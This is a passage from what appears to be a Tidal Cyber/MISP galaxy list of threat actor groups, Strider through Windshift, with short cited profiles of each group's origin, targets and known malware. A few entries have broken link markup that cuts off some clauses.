[Strider](https://app.tidalcyber.com/groups/deb573c6-071a-4b50-9e92-4aa648d8bdc1) is a threat group that has been active since at least 2011 and has targeted victims in Russia, China, Sweden, Belgium, Iran, and Rwanda.^{[[Symantec Strider Blog](https://app.tidalcyber.com/references/664eac41-257f-4d4d-aba5-5d2e8e2117a7)]}^{[[Kaspersky ProjectSauron Blog](https://app.tidalcyber.com/references/baeaa632-3fa5-4d2b-9537-ccc7674fd7d6)]}

The tag is: *misp-galaxy:groups="Strider"*

Suckfly

[Suckfly](https://app.tidalcyber.com/groups/06549082-ff70-43bf-985e-88c695c7113c) is a China-based threat group that has been active since at least 2014. ^{[[Symantec Suckfly March 2016](https://app.tidalcyber.com/references/8711c175-e405-4cb0-8c86-8aaa471e5573)]}

The tag is: *misp-galaxy:groups="Suckfly"*

SweetSpecter

SweetSpecter is a suspected Chinese espionage actor that has gained notoriety for using publicly available artificial intelligence capabilities to support its reconnaissance, research, and development efforts.^{[[OpenAI CTI Update October 2024](/references/81f40284-12e5-4835-8c14-19fb894e4822)]}

The tag is: *misp-galaxy:groups="SweetSpecter"*

TA2541

[TA2541](https://app.tidalcyber.com/groups/1bfbb1e1-022c-57e9-b70e-711c601640be) is a cybercriminal group that has been targeting the aviation, aerospace, transportation, manufacturing, and defense industries since at least 2017. [TA2541](https://app.tidalcyber.com/groups/1bfbb1e1-022c-57e9-b70e-711c601640be) campaigns are typically high volume and involve the use of commodity remote access tools obfuscated by crypters and themes related to aviation, transportation, and travel.^{[[Proofpoint TA2541 February 2022](https://app.tidalcyber.com/references/db0b1425-8bd7-51b5-bae3-53c5ccccb8da)]}^{[[Cisco Operation Layover September 2021](https://app.tidalcyber.com/references/f19b4bd5-99f9-54c0-bffe-cc9c052aea12)]}

The tag is: *misp-galaxy:groups="TA2541"*

TA459

[TA459](https://app.tidalcyber.com/groups/e343c1f1-458c-467b-bc4a-c1b97b2127e3) is a threat group believed to operate out of China that has targeted countries including Russia, Belarus, Mongolia, and others. ^{[[Proofpoint TA459 April 2017](https://app.tidalcyber.com/references/dabad6df-1e31-4c16-9217-e079f2493b02)]}

The tag is: *misp-galaxy:groups="TA459"*

TA505

[TA505](https://app.tidalcyber.com/groups/b3220638-6682-4a4e-ab64-e7dc4202a3f1) is a cyber criminal group that has been active since at least 2014. [TA505](https://app.tidalcyber.com/groups/b3220638-6682-4a4e-ab64-e7dc4202a3f1) is known for frequently changing malware, driving global

trends in criminal malware distribution, and ransomware campaigns involving [Clop]([Proofpoint TA505 Sep 2017(https://app.tidalcyber.com/references/c1fff36f-802b-4436-abce-7f2787c148db)]</sup>^{[[Proofpoint TA505 June 2018](https://app.tidalcyber.com/references/e48dec7b-5635-4ae0-b0db-229660806c06)]}^{[[Proofpoint TA505 Jan 2019](https://app.tidalcyber.com/references/b744f739-8810-4fb9-96e3-6488f9ed6305)]}^{[[NCC Group TA505](https://app.tidalcyber.com/references/45e0b869-5447-491b-9e8b-fbf63c62f5d6)]}^{[[Korean FSI TA505 2020](https://app.tidalcyber.com/references/d4e2c109-341c-45b3-9d41-3eb980724524)]}

The tag is: *misp-galaxy:groups="TA505"*

TA547

Proofpoint researchers indicate that TA547 is a financially motivated threat actor group that likely operates as an initial access broker ("IAB"). It has targeted victim in various geographic regions.^{[[Proofpoint TA547 April 10 2024](/references/c1fab1dd-bec1-4637-9d50-8317247dc82b)]}

The tag is: *misp-galaxy:groups="TA547"*

TA551

[TA551](https://app.tidalcyber.com/groups/8951bff3-c444-4374-8a9e-b2115d9125b2) is a financially-motivated threat group that has been active since at least 2018. ^{[[Secureworks GOLD CABIN](https://app.tidalcyber.com/references/778babec-e7d3-4341-9e33-aab361f2b98a)]} The group has primarily targeted English, German, Italian, and Japanese speakers through email-based malware distribution campaigns. ^{[[Unit 42 TA551 Jan 2021](https://app.tidalcyber.com/references/8e34bf1e-86ce-4d52-a6fa-037572766e99)]}

The tag is: *misp-galaxy:groups="TA551"*

TA577

[TA577](https://app.tidalcyber.com/groups/e1e72810-4661-54c7-b05e-859128fb327d) is an initial access broker (IAB) that has distributed [QakBot](https://app.tidalcyber.com/software/9050b418-5ffd-481a-a30d-f9059b0871ea) and [Pikabot](https://app.tidalcyber.com/software/fb1b0624-3290-5977-abbc-bc9609b51f8d), and was among the first observed groups distributing [Latrodectus](https://app.tidalcyber.com/software/413585a2-00d1-532d-953a-bc5c86f4767f) in 2023.^{[[Latrodectus APR 2024](https://app.tidalcyber.com/references/23f46e51-cfb9-516f-88a6-824893293deb)]}

The tag is: *misp-galaxy:groups="TA577"*

TA578

[TA578](https://app.tidalcyber.com/groups/b47551ba-8036-5527-abba-fed787c854a5) is a threat actor that has used contact forms and email to initiate communications with victims and to distribute

malware including [Latrodectus](https://app.tidalcyber.com/software/413585a2-00d1-532d-953a-bc5c86f4767f), [IcedID](https://app.tidalcyber.com/software/7f59bb7c-5fa9-497d-9d8e-ba9349fd9433), and [Bumblebee]([Latrodectus APR 2024(https://app.tidalcyber.com/references/23f46e51-cfb9-516f-88a6-824893293deb)]</sup>^{[[Bitsight Latrodectus June 2024](https://app.tidalcyber.com/references/9a942e75-3541-5b8d-acde-8f2a3447184a)]}

The tag is: *misp-galaxy:groups="TA578"*

TeamTNT

[TeamTNT](https://app.tidalcyber.com/groups/325c11be-e1ee-47db-afa6-44ac5d16f0e7) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments.^{[[Palo Alto Black-T October 2020](https://app.tidalcyber.com/references/d4351c8e-026d-4660-9344-166481ecf64a)]}^{[[Lacework TeamTNT May 2021](https://app.tidalcyber.com/references/5908b04b-dbca-4fd8-bacc-141ef15546a1)]}^{[[Intezer TeamTNT September 2020](https://app.tidalcyber.com/references/1155a45e-86f4-497a-9a03-43b6dcb25202)]}^{[[Cado Security TeamTNT Worm August 2020](https://app.tidalcyber.com/references/8ccab4fe-155d-44b0-b0f2-941e9f8f87db)]}^{[[Unit 42 Hildegard Malware](https://app.tidalcyber.com/references/0941cf0e-75d8-4c96-bc42-c99d809e75f9)]}^{[[Trend Micro TeamTNT](https://app.tidalcyber.com/references/d6b52135-6bb2-4e37-8f94-1e1d6354bdfd)]}^{[[ATT TeamTNT Chimaera September 2020](https://app.tidalcyber.com/references/5d9f402f-4ff4-4993-8685-e5656e2f3aff)]}^{[[Aqua TeamTNT August 2020](https://app.tidalcyber.com/references/ca10ad0d-1a47-4006-8f76-c2246aee7752)]}^{[[Intezer TeamTNT Explosion September 2021](https://app.tidalcyber.com/references/e0d6208b-a4d6-45f0-bb3a-6c8681630b55)]}

The tag is: *misp-galaxy:groups="TeamTNT"*

TEMP.Veles

[TEMP.Veles](https://app.tidalcyber.com/groups/3a54b8dc-a231-4db8-96da-1c0c1aa396f6) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing [TRITON](https://app.tidalcyber.com/software/), a malware framework designed to manipulate industrial safety systems.^{[[FireEye TRITON 2019](https://app.tidalcyber.com/references/49c97b85-ca22-400a-9dc4-6290cc117f04)]}^{[[FireEye TEMP.Veles 2018](https://app.tidalcyber.com/references/e41151fa-ea11-43ca-9689-c65aae63a8d2)]}^{[[FireEye TEMP.Veles JSON April 2019](https://app.tidalcyber.com/references/491783dc-7a6b-42a6-b923-c4439117e7e4)]}

The tag is: *misp-galaxy:groups="TEMP.Veles"*

Termite Ransomware Operators

The Termite ransomware strain has been observed since April 2024. Researchers have noted

considerable code and behavioral overlaps between the Babuk ransomware and Termite.^{[[Infosecurity Magazine December 9 2024](/references/1a3f22b7-8585-44b7-845a-eaa13d8a5dc1)]} Actors using Termite have attacked organizations in various sectors and locations, publicly extorting some victims on a dark web "data leak" site since November 2024.^{[[GitHub ransomwatch](/references/62037959-58e4-475a-bb91-ff360d20c1d7)]} News reports linked a series of attacks in late 2024, which exploited vulnerabilities in Cleo managed file transfer ("MFT") software, to Termite ransomware operators.^{[[DarkReading Termite Cleo December 10 2024](/references/e854ae37-3137-4cdd-a464-7e2328b1246e)]}

The tag is: *misp-galaxy:groups="Termite Ransomware Operators"*

The White Company

[The White Company](https://app.tidalcyber.com/groups/830079fe-9824-405b-93e0-c28592155c49) is a likely state-sponsored threat actor with advanced capabilities. From 2017 through 2018, the group led an espionage campaign called Operation Shaheen targeting government and military organizations in Pakistan.^{[[Cylance Shaheen Nov 2018](https://app.tidalcyber.com/references/57802e46-e12c-4230-8d1c-08854a0de06a)]}

The tag is: *misp-galaxy:groups="The White Company"*

Threat Group-1314

[Threat Group-1314](https://app.tidalcyber.com/groups/0f86e871-0c6c-4227-ae28-3f3696d6ae9d) is an unattributed threat group that has used compromised credentials to log into a victim’s remote access infrastructure. ^{[[Dell TG-1314](https://app.tidalcyber.com/references/79fc7568-b6ff-460b-9200-56d7909ed157)]}

The tag is: *misp-galaxy:groups="Threat Group-1314"*

Threat Group-3390

[Threat Group-3390](https://app.tidalcyber.com/groups/79be2f31-5626-425e-844c-fd9c99e38fe5) is a Chinese threat group that has extensively used strategic Web compromises to target victims.^{[[Dell TG-3390](https://app.tidalcyber.com/references/dfd2d832-a6c5-40e7-a554-5a92f05bebae)]} The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.^{[[SecureWorks BRONZE UNION June 2017](https://app.tidalcyber.com/references/42adda47-f5d6-4d34-9b3d-3748a782f886)]}^{[[Securelist LuckyMouse June 2018](https://app.tidalcyber.com/references/f974708b-598c-46a9-aac9-c5fbdd116c2a)]}^{[[Trend Micro DRBControl February 2020](https://app.tidalcyber.com/references/4dfbf26d-023b-41dd-82c8-12fe18cb10e6)]}

The tag is: *misp-galaxy:groups="Threat Group-3390"*

Thrip

[Thrip](https://app.tidalcyber.com/groups/a3b39b07-0bfa-4c69-9f01-acf7dc6033b4) is an espionage group that has targeted satellite communications, telecoms, and defense contractor companies in the U.S. and Southeast Asia. The group uses custom malware as well as "living off the land" techniques. ^{[[Symantec Thrip June 2018](https://app.tidalcyber.com/references/482a6946-b663-4789-a31f-83fb2132118d)]}

The tag is: *misp-galaxy:groups="Thrip"*

ToddyCat

[ToddyCat](https://app.tidalcyber.com/groups/0f41da7d-1e47-58fe-ba6e-ee658a985e1b) is a sophisticated threat group that has been active since at least 2020 using custom loaders and malware in multi-stage infection chains against government and military targets across Europe and Asia.^{[[Kaspersky ToddyCat June 2022](https://app.tidalcyber.com/references/285c038b-e5fc-57ef-9a98-d9e24c52e2cf)]}^{[[Kaspersky ToddyCat Check Logs October 2023](https://app.tidalcyber.com/references/dbdaf320-eada-5bbb-95ab-aaa987ed7960)]}

The tag is: *misp-galaxy:groups="ToddyCat"*

Tonto Team

[Tonto Team](https://app.tidalcyber.com/groups/9f5c5672-5e7e-4440-afc8-3fdf46a1bb6c) is a suspected Chinese state-sponsored cyber espionage threat group that has primarily targeted South Korea, Japan, Taiwan, and the United States since at least 2009; by 2020 they expanded operations to include other Asian as well as Eastern European countries. [Tonto Team](https://app.tidalcyber.com/groups/9f5c5672-5e7e-4440-afc8-3fdf46a1bb6c) has targeted government, military, energy, mining, financial, education, healthcare, and technology organizations, including through the Heartbeat Campaign (2009-2012) and Operation Bitter Biscuit (2017).^{[[Kaspersky CactusPete Aug 2020](https://app.tidalcyber.com/references/1c393964-e717-45ad-8eb6-5df5555d3c70)]}^{[[ESET Exchange Mar 2021](https://app.tidalcyber.com/references/c83f1810-22bb-4def-ab2f-3f3d67703f47)]}^{[[FireEye Chinese Espionage October 2019](https://app.tidalcyber.com/references/d37c069c-7fb8-44e1-8377-da97e8bbcf67)]}^{[[ARS Technica China Hack SK April 2017](https://app.tidalcyber.com/references/c9c647b6-f4fb-44d6-9376-23c1ae9520b4)]}^{[[Trend Micro HeartBeat Campaign January 2013](https://app.tidalcyber.com/references/f42a36c2-1ca5-49ff-a7ec-7de90379a6d5)]}^{[[Talos Bisonal 10 Years March 2020](https://app.tidalcyber.com/references/6844e59b-d393-43df-9978-e3e3cc7b8db6)]}

The tag is: *misp-galaxy:groups="Tonto Team"*

Transparent Tribe

[Transparent Tribe](https://app.tidalcyber.com/groups/441b91d1-256a-4763-bac6-8f1c76764a25) is a suspected Pakistan-based threat group that has been active since at least 2013, primarily targeting diplomatic, defense, and research organizations in India and Afghanistan.<sup>[[Proofpoint

Operation Transparent Tribe March 2016](https://app.tidalcyber.com/references/8e39d0da-114f-4ae6-8130-ca1380077d6a)]</sup>^{[[Kaspersky Transparent Tribe August 2020](https://app.tidalcyber.com/references/42c7faa2-f664-4e4a-9d23-93c88a09da5b)]}^{[[Talos Transparent Tribe May 2021](https://app.tidalcyber.com/references/5d58c285-bc7d-4a8a-a96a-ac7118c1089d)]}

The tag is: *misp-galaxy:groups="Transparent Tribe"*

Tropic Trooper

[Tropic Trooper](https://app.tidalcyber.com/groups/0a245c5e-c1a8-480f-8655-bb2594e3266b) is an unaffiliated threat group that has led targeted campaigns against targets in Taiwan, the Philippines, and Hong Kong. [Tropic Trooper](https://app.tidalcyber.com/groups/0a245c5e-c1a8-480f-8655-bb2594e3266b) focuses on targeting government, healthcare, transportation, and high-tech industries and has been active since 2011.^{[[TrendMicro Tropic Trooper Mar 2018](https://app.tidalcyber.com/references/5d69d122-13bc-45c4-95ab-68283a21b699)]}^{[[Unit 42 Tropic Trooper Nov 2016](https://app.tidalcyber.com/references/cad84e3d-9506-44f8-bdd9-d090e6ce9b06)]}^{[[TrendMicro Tropic Trooper May 2020](https://app.tidalcyber.com/references/4fbc1df0-f174-4461-817d-0baf6e947ba1)]}

The tag is: *misp-galaxy:groups="Tropic Trooper"*

Turla

[Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) is a cyber espionage threat group that has been attributed to Russia's Federal Security Service (FSB). They have compromised victims in over 50 countries since at least 2004, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies. [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) is known for conducting watering hole and spearphishing campaigns, and leveraging in-house tools and malware, such as [Uroburos]([Kaspersky Turla(https://app.tidalcyber.com/references/535e9f1a-f89e-4766-a290-c5b8100968f8)]</sup>^{[[ESET Gazer Aug 2017](https://app.tidalcyber.com/references/9d1c40af-d4bc-4d4a-b667-a17378942685)]}^{[[CrowdStrike VENOMOUS BEAR](https://app.tidalcyber.com/references/ee400057-2b26-4464-96b4-484c9eb9d5c2)]}^{[[ESET Turla Mosquito Jan 2018](https://app.tidalcyber.com/references/cd177c2e-ef22-47be-9926-61e25fd5f33b)]}^{[[Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023](https://app.tidalcyber.com/references/1931b80a-effb-59ec-acae-c0f17efb8cad)]}

The tag is: *misp-galaxy:groups="Turla"*

UAC-0098

UAC-0098 is believed to be an initial access broker who originally delivered malware like IcedID and Cobalt Strike for financial gain, but who has appeared to shift its operations to more politically aligned activity, such as compromising government, humanitarian, and non-profit organizations related to Ukraine and other European entities.<sup>[[Google TAG Ukraine IABs September 7

2022](/references/848da19d-b02d-4b78-b3c1-a72d5034fd45)]</sup>

The tag is: *misp-galaxy:groups="UAC-0098"*

UAT4356

UAT4356 (aka Storm-1849) is an actor attributed to the ArcaneDoor campaign targeting Cisco Adaptive Security Appliance (ASA) network devices. The suspected espionage activity targeted unspecified government institutions around the world.^{[[Cisco Talos ArcaneDoor April 24 2024](/references/531c3f6f-2d2b-4774-b069-e2b7a13602c1)]} Anonymous sources indicated that the ArcaneDoor campaign appeared aligned with China's state interests.^{[[Wired ArcaneDoor April 24 2024](/references/05a8afd3-0173-41ca-b23b-196ea0f3b1c1)]}

The tag is: *misp-galaxy:groups="UAT4356"*

UNC3784

UNC3784 is a suspected Chinese espionage actor, which - alongside other China-backed groups - was observed exploiting the "Follina" vulnerability (CVE-2022-30190) in zero-day attacks on organizations in Russia and Asia. UNC3784 specifically was observed deploying backdoor and downloader malware on compromised government networks in Southeast Asia.^{[[Mandiant M-Trends 2023](/references/fabb9f5c-3ce6-4eef-8711-13130ff41884)]}

The tag is: *misp-galaxy:groups="UNC3784"*

UNC3886

UNC3886 is a highly adept Chinese cyber espionage group that has targeted and exploited zero-day vulnerabilities in firewall and virtualization technologies, which do not support EDR solutions. UNC3886 has primarily targeted defense, technology, and telecommunication organizations located in the US and APJ regions.^{[[Google Cloud June 18 2024](/references/6dcd59f6-135b-497a-a277-ddc6c77c53ee)]}^{[[Google Cloud September 29 2022](/references/e7668f6d-e93c-4e86-9dee-00f12c15dae4)]}^{[[Mandiant Fortinet Zero Day](/references/7bdc5bbb-ebbd-5eb8-bd10-9087c883aea7)]}^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}^{[[Google Cloud June 13 2023](/references/2691b5a8-a146-407d-80b4-b3e81da5781f)]}

The tag is: *misp-galaxy:groups="UNC3886"*

UNC3966

UNC3966 is a threat actor group tracked by Mandiant. In an intrusion documented in March 2023, UNC3966 received access to a victim network initially compromised by the group UNC961. UNC3966 primary motivations remain unclear. During the intrusion, the group was observed collecting and exfiltrating victim data. While a ransom note was also discovered, UNC3966 did not appear to deploy ransomware encryption software and did not appear to demand a ransom payment.<sup>[[Mandiant UNC961 March 23 2023](/references/cef19ceb-179f-4d49-acba-

5ce40ab9f65e)]</sup>

The tag is: *misp-galaxy:groups="UNC3966"*

UNC5174

UNC5174 is a financially motivated actor who is believed to be a possible contractor for China's Ministry of State Security, carrying out initial access broker activities while also operating under a hacktivist collective persona ("Uteus").^{[[Google Cybercrime Report February 11 2025](/references/17685d5c-4255-445e-a546-e0dfb92378c2)]}

The tag is: *misp-galaxy:groups="UNC5174"*

UNC5221

UNC5221 is a threat actor that is known to leverage mutilple vulnerabilities to infect devices with custom malware. The group was found leveraging compromised out-of-support Cyberoam VPN appliances for command and control. The group, also tracked under the alias UTA0178, is suspected to be a Chinese nation-state-level threat actor.^{[[Google Cloud April 4 2024](/references/5179ba93-fab1-48b9-81e7-c9a79cf9402f)]}^{[[QuoIntelligence January 22 2024](/references/f15eb339-4350-4be2-8560-41236f78e132)]}^{[[Mandiant Cutting Edge January 2024](/references/9d9ec923-89c1-5155-ae6e-98d4776d4250)]}^{[[Volexity Ivanti Zero-Day Exploitation January 2024](/references/93eda380-ea21-59e0-97e8-5bec1f9a0e71)]}

The tag is: *misp-galaxy:groups="UNC5221"*

UNC5325

UNC5325 is a suspected Chinese cyber espionage operator that exploited CVE-2024-21893 to compromise Ivanti Connect Secure appliances. UNC5325 leveraged code from open-source projects, installed custom malware, and modified the appliance's settings in order to evade detection and attempt to maintain persistence.^{[[Mandiant Cutting Edge Part 3 February 2024](/references/49e5b125-5503-5cb0-9a56-a93f82b55753)]}

The tag is: *misp-galaxy:groups="UNC5325"*

UNC5537

UNC5537 is a threat actor believed to be responsible for compromising a large number of database instances belonging to customers of Snowflake, a multi-cloud data warehousing platform, in Q2 2024. Initial access was largely achieved using stolen customer credentials compromised previously via infostealer malware. Actors sought to monetize their access by selling victim data on underground forums and by extorting victims. Researchers believe UNC5537 is comprised of members based in North America and at least one member in Turkey, and it has targeted hundreds of organizations globally.^{[[Google Cloud June 10 2024](/references/0afe3662-b55c-4189-9c9a-2be55a9b6a70)]}

The tag is: *misp-galaxy:groups="UNC5537"*

UNC5820

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:groups="UNC5820"*

UNC6040

UNC6040 is a financially motivated threat cluster that specializes in voice phishing (vishing) campaigns to compromise organizations' Salesforce instances for data theft and extortion. They impersonate IT support personnel to trick employees into granting access or sharing credentials, facilitating data exfiltration from Salesforce and other cloud platforms.^{[[Google Cloud June 4 2025](/references/4feebcde-4471-4275-80b1-0a9ade1745a5)]}

The tag is: *misp-galaxy:groups="UNC6040"*

UNC961

UNC961 is a financially motivated group active since at least 2018. It traditionally targeted retail and "business services" organizations based in North America, until expanding its targeting in 2020 to also include victims in a range of additional sectors in Northern Europe and Western Asia. In all known intrusions, UNC961 gained initial access by exploiting web-facing applications.^{[[Mandiant Log4Shell March 28 2022](/references/62d4d685-09c4-47b6-865c-4a6096e551cd)]}

The tag is: *misp-galaxy:groups="UNC961"*

Vanilla Tempest

Vanilla Tempest is a financially motivated threat actor that has been active since July 2022, which has used a variety of ransomware payloads during observed attacks. Microsoft Threat Intelligence researchers indicate that Vanilla Tempest, which was previously tracked under the moniker DEV-0832, "overlaps with" activity tracked by other research teams as the Vice Society ransomware/extortion group.^{[[MSTIC Vanilla Tempest September 18 2024](/references/24c11dff-21df-4ce9-b3df-2e0a886339ff)]}

The tag is: *misp-galaxy:groups="Vanilla Tempest"*

VAULT PANDA

A likely intelligence gathering-focused, China-nexus threat actor group that has targeted organizations in various sectors, especially financial services, around the world.^{[[CrowdStrike 2025 Global Threat Report](/references/a69b0ce3-f314-4b32-bfb3-b1380c4f0ec4)]}

The tag is: *misp-galaxy:groups="VAULT PANDA"*

Velvet Ant

[Velvet Ant](https://app.tidalcyber.com/groups/f1c80880-e3ed-5223-90f5-840a3b89fe39) is a threat actor operating since at least 2021. [Velvet Ant](https://app.tidalcyber.com/groups/f1c80880-e3ed-5223-90f5-840a3b89fe39) is associated with complex persistence mechanisms, the targeting of network devices and appliances during operations, and the use of zero day exploits.^{[[Sygnia VelvetAnt 2024A](https://app.tidalcyber.com/references/daa0360d-8a50-5256-8c95-cf68a3e7bb90)]}^{[[Sygnia VelvetAnt 2024B](https://app.tidalcyber.com/references/f4a036fd-4adf-564f-a401-5e5fc2866364)]}

The tag is: *misp-galaxy:groups="Velvet Ant"*

Velvet Ant (Deprecated)

We are no longer maintaining this object in favor of a similar object subsequently published by MITRE: "Velvet Ant" (Group). All relevant Tidal content extensions (e.g. additional Technique and Object relationships and metadata) have been added to the MITRE-authored object.

Velvet Ant is a suspected "China-nexus" espionage group that has notably targeted network devices as part of its operations. In one case involving an unspecified victim located in East Asia, the group was seen abusing a legacy, internet-exposed F5 BIG-IP load balancer appliance as a command-and-control mechanism, managing to maintain network persistence for a period of three years. As part of the broader investigation into the group, researchers also observed cases of zero-day exploitation of CVE-2024-20399 in Cisco Nexus network switch devices, which allowed actors to upload and execute previously unknown, custom malware. The researchers highlighted how sophisticated threat groups are increasingly targeting network appliances as means of network access and persistence, since those appliances "are often not sufficiently protected and monitored".^{[[Sygnia Velvet Ant June 17 2024](/references/5c313af4-61a8-449d-a6c7-f7ead6c72e19)]}^{[[Sygnia Velvet Ant July 1 2024](/references/a0cfeeb6-4617-4dea-80d2-290eaf2bcf5b)]}

The tag is: *misp-galaxy:groups="Velvet Ant (Deprecated)"*

Vice Society

Vice Society is an extortion-focused threat actor group first observed in mid-2021. The group gained notoriety after targeting a considerable number of educational institutions, especially lower education institutions. Although the education sector accounts for a disproportionate amount of the group’s victims, Vice Society has claimed victims in multiple other industries too, including the healthcare, retail, financial, insurance, and public services sectors. The group regularly pressures victims into paying a ransom by threatening to leak data exfiltrated during its intrusions. Vice Society is not known to have developed its own ransomware, instead deploying other existing families, including HELLOKITTY/FIVEHANDS and Zeppelin.^{[[U.S. CISA Vice Society September 2022](/references/0a754513-5f20-44a0-8cea-c5d9519106c8)]}

Related Vulnerabilities: CVE-2021-1675^{[[Unit 42 Vice Society December 6 2022](/references/6abf7387-0857-4938-b36e-1374a66d4ed8)]}, CVE-2021-34527^{[[Unit 42 Vice Society December 6 2022](/references/6abf7387-0857-4938-b36e-1374a66d4ed8)]}

The tag is: *misp-galaxy:groups="Vice Society"*

Void Blizzard

Void Blizzard is a threat actor conducting espionage operations primarily targeting organizations important to Russian government objectives, including those in government, defense, transportation, media, NGOs, and healthcare sectors, especially in Europe and North America. They use stolen credentials and spear phishing to gain access and steal large amounts of emails and files.^{[[Microsoft Security Blog May 27 2025](/references/e7ea6602-f448-46f2-9ce8-9afbc226807d)]}

The tag is: *misp-galaxy:groups="Void Blizzard"*

Void Rabisu

Void Rabisu is a threat actor believed be responsible for distributing Cuba ransomware.^{[[Unit 42 Cuba August 9 2022](/references/06f668d9-9a68-4d2f-b9a0-b92beb3b75d6)]} Trend Micro researchers assess that, since October 2022, Void Rabisu's use of the RomCom backdoor during attacks could suggest a shift in its motivation towards more geopolitically motivated activity.^{[[Trend Micro Void Rabisu May 30 2023](/references/5fd628ca-f366-4f0d-b493-8be19fa4dd4e)]}

The tag is: *misp-galaxy:groups="Void Rabisu"*

Volatile Cedar

[Volatile Cedar](https://app.tidalcyber.com/groups/7c3ef21c-0e1c-43d5-afb0-3a07c5a66937) is a Lebanese threat group that has targeted individuals, companies, and institutions worldwide. [Volatile Cedar](https://app.tidalcyber.com/groups/7c3ef21c-0e1c-43d5-afb0-3a07c5a66937) has been operating since 2012 and is motivated by political and ideological interests.^{[[CheckPoint Volatile Cedar March 2015](https://app.tidalcyber.com/references/a26344a2-63ca-422e-8cf9-0cf22a5bee72)]}^{[[ClearSky Lebanese Cedar Jan 2021](https://app.tidalcyber.com/references/53944d48-caa9-4912-b42d-94a3789ed15b)]}

The tag is: *misp-galaxy:groups="Volatile Cedar"*

Volt Typhoon

[Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e) is a People's Republic of China (PRC) state-sponsored actor that has been active since at least 2021 primarily targeting critical infrastructure organizations in the US and its territories including Guam. [Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e)'s targeting and pattern of behavior have been assessed as pre-positioning to enable lateral

movement to operational technology (OT) assets for potential destructive or disruptive attacks. [Volt Typhoon](https://app.tidalcyber.com/groups/4ea1245f-3f35-5168-bd10-1fc49142fd4e) has emphasized stealth in operations using web shells, living-off-the-land (LOTL) binaries, hands on keyboard activities, and stolen credentials.^{[[CISA AA24-038A PRC Critical Infrastructure February 2024](https://app.tidalcyber.com/references/bfa16dc6-f075-5bd3-9d9d-255df8789298)]}^{[[Microsoft Volt Typhoon May 2023](https://app.tidalcyber.com/references/8b74f0b7-9719-598c-b3ee-61d734393e6f)]}^{[[Joint Cybersecurity Advisory Volt Typhoon June 2023](https://app.tidalcyber.com/references/14872f08-e219-5c0d-a2d7-43a3ba348b4b)]}^{[[Secureworks BRONZE SILHOUETTE May 2023](https://app.tidalcyber.com/references/77624549-e170-5894-9219-a15b4aa31726)]}

The tag is: *misp-galaxy:groups="Volt Typhoon"*

WANDERING SPIDER

WANDERING SPIDER is a prolific ransomware operator group that has been active since at least April 2020. The group has used a variety of of ransomware families developed by other groups and is also believed to have developed the Black Basta ransomware family, which it has used since April 2022.^{[[Wandering Spider Profile](/references/cbaa3a39-f12e-4487-8aa6-1bd3e66b62b0)]}

The tag is: *misp-galaxy:groups="WANDERING SPIDER"*

Water Curupira

The Water Curupira threat actor engages in campaigns to deploy backdoors like Cobalt Strike, ultimately facilitating Black Basta ransomware attacks. Initially involved in DarkGate and IcedID spam campaigns in the early weeks of the third quarter of 2023, the threat actor later shifted focus exclusively to Pikabot.^{[[Trend Micro Pikabot January 9 2024](/references/dc7d882b-4e83-42da-8e2f-f557b675930a)]}

The tag is: *misp-galaxy:groups="Water Curupira"*

Whitefly

[Whitefly](https://app.tidalcyber.com/groups/f0943620-7bbb-4239-8ed3-c541c36baaa1) is a cyber espionage group that has been operating since at least 2017. The group has targeted organizations based mostly in Singapore across a wide variety of sectors, and is primarily interested in stealing large amounts of sensitive information. The group has been linked to an attack against Singapore's largest public health organization, SingHealth.^{[[Symantec Whitefly March 2019](https://app.tidalcyber.com/references/d0e48356-36d9-4b4c-b621-e3c4404378d2)]}

The tag is: *misp-galaxy:groups="Whitefly"*

Windigo

The [Windigo](https://app.tidalcyber.com/groups/eeb69751-8c22-4a5f-8da2-239cc7d7746c) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using

the [Ebury](https://app.tidalcyber.com/software/2375465a-e6a9-40ab-b631-a5b04cf5c689) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://app.tidalcyber.com/groups/eeb69751-8c22-4a5f-8da2-239cc7d7746c) operators continued updating [Ebury](https://app.tidalcyber.com/software/2375465a-e6a9-40ab-b631-a5b04cf5c689) through 2019.^{[[ESET Windigo Mar 2014](https://app.tidalcyber.com/references/721cdb36-d3fc-4212-b324-6be2b5f9cb46)]}^{[[CERN Windigo June 2019](https://app.tidalcyber.com/references/e9f1289f-a32e-441c-8787-cb32a26216d1)]}

The tag is: *misp-galaxy:groups="Windigo"*

Windshift

[Windshift](https://app.tidalcyber.com/groups/4e880d01-313a-4926-8470-78c48824aa82) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.^{[[SANS Windshift August 2018](https://app.tidalcyber.com/references/97eac0f2-d528-4f7c-8425-7531eae4fc39)]}^{[[objective-see windtail1 dec 2018](https://app.tidalcyber.com/references/7a32c962-8050-45de-8b90-8644be5109d9)]}^{[[objective-see windtail2 jan 2019](https://app.tidalcyber.com/references/e6bdc679-ee0c-4f34-b5bc-0d6a26485b36)]}

The tag is: *misp-galaxy:groups="Windshift"*

Winnti Group

